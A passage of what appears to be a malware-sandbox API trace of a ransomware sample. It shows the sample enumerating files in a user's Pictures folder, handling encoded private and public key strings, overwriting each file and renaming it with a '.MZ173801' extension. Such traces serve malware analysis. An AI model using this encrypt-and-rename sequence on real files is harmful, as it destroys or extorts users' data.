lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.397] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163135c0, ftCreationTime.dwHighDateTime=0x1d5e763, ftLastAccessTime.dwLowDateTime=0x2bc72db0, ftLastAccessTime.dwHighDateTime=0x1d5e3bf, ftLastWriteTime.dwLowDateTime=0x2bc72db0, ftLastWriteTime.dwHighDateTime=0x1d5e3bf, nFileSizeHigh=0x0, nFileSizeLow=0x1523f)) returned 1 [0158.398] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png")) returned 0x20 [0158.398] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png", dwFileAttributes=0x80) returned 1 [0158.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.400] GetCurrentThreadId () returned 0xab4 [0158.400] GetCurrentThreadId () returned 0xab4 [0158.400] GetCurrentThreadId () returned 0xab4 [0158.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.401] GetCurrentThreadId () returned 0xab4 [0158.401] GetCurrentThreadId () returned 0xab4 [0158.401] GetCurrentThreadId () returned 0xab4 [0158.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.401] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.401] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.401] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1523f [0158.401] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.401] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x1523f, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0x1523f, lpOverlapped=0x0) returned 1 [0158.402] CloseHandle (hObject=0x2f8) returned 1 [0158.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.470] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f9d50*, nNumberOfBytesToWrite=0x1523f, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f9d50*, lpNumberOfBytesWritten=0x19f758*=0x1523f, lpOverlapped=0x0) returned 1 [0158.472] CloseHandle (hObject=0x2f8) returned 1 [0158.474] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\zfiVS.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zfivs.png.mz173801")) returned 1 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] GetCurrentThreadId () returned 0xab4 [0158.475] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6e3f0, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x60bf5e60, ftLastAccessTime.dwHighDateTime=0x1d5ef64, ftLastWriteTime.dwLowDateTime=0x60bf5e60, ftLastWriteTime.dwHighDateTime=0x1d5ef64, nFileSizeHigh=0x0, nFileSizeLow=0x11f4a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zu7sT8ob.jpg", cAlternateFileName="")) returned 1 [0158.475] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.475] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6e3f0, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x60bf5e60, ftLastAccessTime.dwHighDateTime=0x1d5ef64, ftLastWriteTime.dwLowDateTime=0x60bf5e60, ftLastWriteTime.dwHighDateTime=0x1d5ef64, nFileSizeHigh=0x0, nFileSizeLow=0x11f4a)) returned 1 [0158.475] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\zu7st8ob.jpg")) returned 0x20 [0158.475] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\Zu7sT8ob.jpg", dwFileAttributes=0x80) returned 1 [0158.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtW